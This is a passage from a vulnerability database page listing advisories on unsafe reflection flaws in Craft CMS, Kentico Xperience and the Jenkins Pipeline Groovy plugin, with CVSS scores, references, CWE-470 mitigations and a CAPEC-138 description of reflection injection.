"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-2fph-6v5w-89hh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33157"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/97e90b4bdee369c1af3ca77a77531132df240e4e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-255j-qw47-wjh5"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7jx7-3846-m7w7"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.9.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior"
}
GHSA-2M69-F932-GV3G
Vulnerability from github – Published: 2025-03-31 18:31 – Updated: 2025-11-05 00:31
VLAI
Details
An unsafe reflection vulnerability in Kentico Xperience allows an unauthenticated attacker to kill the current process, leading to a Denial-of-Service condition.
This issue affects Xperience: through 13.0.180.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-2794"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-31T17:15:41Z",
"severity": "HIGH"
},
"details": "An unsafe reflection vulnerability in Kentico Xperience allows an unauthenticated attacker to kill the current process, leading to a Denial-of-Service condition.\n\n\n\n\nThis issue affects Xperience: through 13.0.180.",
"id": "GHSA-2m69-f932-gv3g",
"modified": "2025-11-05T00:31:17Z",
"published": "2025-03-31T18:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2794"
},
{
"type": "WEB",
"url": "https://devnet.kentico.com/download/hotfixes"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/kentico-xperience-unsafe-reflection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2W2H-GWWJ-FH3Q
Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-06-24 15:31
VLAI
Details
Jenkins Pipeline: Groovy Plugin 4331.v9d06ed4658ff and earlier does not restrict the types that can be instantiated through the Pipeline Snippet Generator, allowing attackers to instantiate types related to job or system configuration other than Pipeline steps.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-57284"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T14:17:34Z",
"severity": "MODERATE"
},
"details": "Jenkins Pipeline: Groovy Plugin 4331.v9d06ed4658ff and earlier does not restrict the types that can be instantiated through the Pipeline Snippet Generator, allowing attackers to instantiate types related to job or system configuration other than Pipeline steps.",
"id": "GHSA-2w2h-gwwj-fh3q",
"modified": "2026-06-24T15:31:47Z",
"published": "2026-06-24T15:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57284"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3677"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Refactor your code to avoid using reflection.
Mitigation
Architecture and Design
Do not use user-controlled inputs to select and load classes or code.
Mitigation
Implementation
Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CAPEC-138: Reflection Injection
An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.